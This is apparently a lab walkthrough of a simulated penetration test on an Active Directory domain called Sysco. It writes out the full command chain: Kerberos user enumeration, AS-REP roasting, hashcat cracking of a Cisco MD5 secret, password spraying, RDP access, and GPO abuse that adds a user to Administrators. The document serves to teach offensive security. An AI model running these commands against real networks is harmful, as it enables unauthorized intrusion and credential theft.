Zerotrace Logs

Sysco

Overview

Sysco is a Managed Service Provider that has tasked us with performing an external penetration test on their Active Directory domain. The objective is to obtain an initial foothold, move laterally, and escalate privileges while evading Antivirus detection to achieve Domain Administrator privileges.

Enumeration

[Step 1] Nmap Scan

I started with a comprehensive port scan to identify all open services:

$ nmap -p- -T4 -sC -sV -Pn 10.0.30.129 -oN nmap_scan
Note: The -oN flag saves output in normal format (human-readable). The original used -o which is not a valid nmap flag. 
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Index - Sysco MSP
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
9389/tcp  open  mc-nmf        .NET Message Framing

Key findings from the scan:

[Step 2] Web Enumeration

Browsing to http://sysco.local/#team, I found a team page with employee names:

Team page showing employee names on the Sysco MSP website

I extracted the following names:

Greg Shields
Sarah Johnson
Jack Dowland
Lainey Moore

Running directory enumeration with feroxbuster:

$ feroxbuster -u http://sysco.local/ -w /usr/share/wordlists/dirb/big.txt

This revealed a Roundcube webmail service:

Roundcube webmail login page

[Step 3] Username Enumeration

Using the employee names, I generated potential username formats with username-anarchy:

$ ./username-anarchy --input-file names.txt --select-format first,flast,first.last,firstl > users.list
What is username-anarchy?
A tool that generates common username permutations from real names. Organizations typically use consistent naming conventions (like first.last or flast), so generating multiple formats increases the chance of finding valid accounts.

Then I validated which usernames exist in the domain using Kerbrute:

$ kerbrute userenum -d SYSCO.LOCAL users.list --dc DC01.SYSCO.LOCAL

Kerbrute results showing valid users in the domain

What is Kerbrute?
Kerbrute performs fast username enumeration against Kerberos. Unlike SMB enumeration, Kerberos responds differently for valid vs. invalid usernames, allowing attackers to confirm which accounts exist without triggering account lockouts.

Valid usernames discovered:

Initial Access - AS-REP Roasting

What is AS-REP Roasting?
AS-REP Roasting targets Active Directory accounts that have Kerberos pre-authentication disabled. When this setting is enabled, anyone can request an Authentication Server Response (AS-REP) for that user, which contains encrypted data that can be cracked offline to recover the plaintext password.

[Step 4] AS-REP Roasting Attack

I attempted AS-REP Roasting against the valid users:

$ nxc ldap 10.0.30.129 -u valid_users.txt -p '' --asreproast asreproasting_hash
LDAP  10.0.30.129  389  DC01  [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SYSCO.LOCAL)
LDAP  10.0.30.129  389  DC01  [email protected]:d64e9c59...

User jack.dowland has pre-authentication disabled. I cracked the hash using hashcat:

$ hashcat -m 18200 asreproasting_hash /usr/share/wordlists/rockyou.txt
[email protected]:...:[REDACTED]
Credentials obtained: jack.dowland:[REDACTED]

I verified the credentials work:

NetExec validating the cracked credentials

Lateral Movement

[Step 5] BloodHound Collection

I collected Active Directory data for analysis:

$ bloodhound-python -u jack.dowland -p '[REDACTED]' -d SYSCO.LOCAL -ns 10.0.30.129 -c all

BloodHound data collection output

What is BloodHound?
BloodHound is an Active Directory reconnaissance tool that maps relationships between users, groups, computers, and permissions. It visualizes attack paths that can lead to domain compromise, making it essential for both attackers and defenders.

BloodHound did not reveal any direct privilege escalation paths for jack.dowland, and the user had no access to interesting file shares.

[Step 6] Credential Reuse - Roundcube

Since Jack is an employee, I tested his credentials against the Roundcube webmail and successfully logged in:

Successful Roundcube webmail login

In his mailbox, I found an email sent to lainey.moore with a Cisco router configuration file attached:

Email with Cisco configuration file attachment

[Step 7] Cracking the Cisco Secret

The configuration file contained an enable secret:

enable secret 5 $1$mERr$isugnYiHsjHT.i.tc2GDY.

Cisco configuration file showing the enable secret hash

What is Cisco "secret 5"?
In Cisco IOS, secret 5 indicates the password is hashed using MD5-crypt. This is more secure than type 7 (which is reversible), but still crackable with sufficient computing power. Type 5 hashes begin with $1$.

I cracked this hash with hashcat using mode 500 (MD5-crypt):

$ hashcat -m 500 router_md5_hash /usr/share/wordlists/rockyou.txt
$ hashcat -m 500 router_md5_hash --show
$1$mERr$isugnYiHsjHT.i.tc2GDY.:[REDACTED]

[Step 8] Password Spraying

What is Password Spraying?
Password spraying tests a single password against many accounts, rather than many passwords against one account. This approach avoids account lockouts while exploiting password reuse - a common issue when employees use the same password across systems.

With a new potential password, I sprayed it against domain users and got a hit on lainey.moore:

$ nxc smb 10.0.30.129 -u valid_users.txt -p '[REDACTED]'

Password spray revealing valid credentials for lainey.moore

Credentials obtained: lainey.moore:[REDACTED]

[Step 9] Enumerating Lainey's Access

BloodHound showed that lainey.moore is a member of both Remote Desktop Users and Remote Management Users:

BloodHound showing Lainey's group memberships

[Step 10] RDP Session and More Credentials

I connected via RDP:

$ xfreerdp /v:10.0.30.129 /u:lainey.moore /p:'[REDACTED]'
Note: The original used xfreerdp3, but the standard command is xfreerdp. Also, passwords with special characters should be quoted.

On the desktop, I found a PuTTY shortcut with embedded credentials:

PuTTY shortcut revealing hardcoded credentials

The shortcut revealed:

C:\Users\lainey.moore\Documents\putty.exe -ssh [email protected] -pw [REDACTED]
Security Note: Storing passwords in shortcut arguments is a common but dangerous practice. Anyone with access to the desktop can view the full command line, exposing credentials in plaintext.

I sprayed this password and discovered it works for greg.shields:

$ nxc smb 10.0.30.129 -u valid_users.txt -p '[REDACTED]'

Password spray revealing greg.shields uses the same password

Credentials obtained: greg.shields:[REDACTED]

Privilege Escalation - GPO Abuse

[Step 11] Identifying the Attack Path

BloodHound revealed that greg.shields has dangerous privileges over the Default Domain Policy GPO:

BloodHound showing greg.shields has GPO edit privileges

What is GPO Abuse?
Group Policy Objects (GPOs) control settings across Active Directory. If a user can modify a GPO that applies to privileged systems (like the Domain Controller), they can add malicious scheduled tasks or scripts that execute with SYSTEM privileges, effectively granting them administrative access.

[Step 12] Exploiting the GPO

I used pyGPOAbuse to create a scheduled task that adds greg.shields to the local Administrators group:

$ python3 pygpoabuse.py 'SYSCO.LOCAL/greg.shields:[REDACTED]' \
    -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" \
    -command 'net localgroup Administrators greg.shields /add'
What is the GPO ID 31B2F340-016D-11D2-945F-00C04FB984F9?
This is the well-known GUID for the "Default Domain Policy" GPO, which exists in every Active Directory domain. It applies to all users and computers in the domain by default. 
[+] ScheduledTask TASK_48cc8916 created!

After waiting for Group Policy to refresh (or forcing it with gpupdate /force), I connected with evil-winrm and confirmed Administrator access:

$ evil-winrm -i 10.0.30.129 -u greg.shields -p '[REDACTED]'

Evil-WinRM session confirming Administrator access

Attack Chain Summary

Web Enumeration (Team Page)
         |
         v
Username Enumeration (Kerbrute)
         |
         v
AS-REP Roasting --> jack.dowland
         |
         v
Credential Reuse --> Roundcube Webmail
         |
         v
Cisco Config File --> MD5 Hash Crack
         |
         v
Password Spraying --> lainey.moore
         |
         v
RDP Access --> PuTTY Shortcut Credentials
         |
         v
Password Spraying --> greg.shields
         |
         v
GPO Abuse --> Domain Administrator

Detailed Steps:

  1. Web Enumeration - Discovered employee names on the company website
  2. Username Enumeration - Generated and validated usernames via Kerbrute
  3. AS-REP Roasting - Obtained and cracked credentials for jack.dowland
  4. Credential Reuse - Used Jack's password to access Roundcube webmail
  5. Cisco Hash Cracking - Found and cracked a router config file to get a new password
  6. Password Spraying - Discovered the password works for lainey.moore
  7. RDP Access - Found hardcoded credentials in a PuTTY shortcut
  8. Additional Password Spraying - Obtained access to greg.shields
  9. GPO Abuse - Exploited GPO edit permissions to gain Administrator access

Lessons Learned

For Defenders

For Pentesters

Walkthrough by Zerotrace | HackSmarter Labs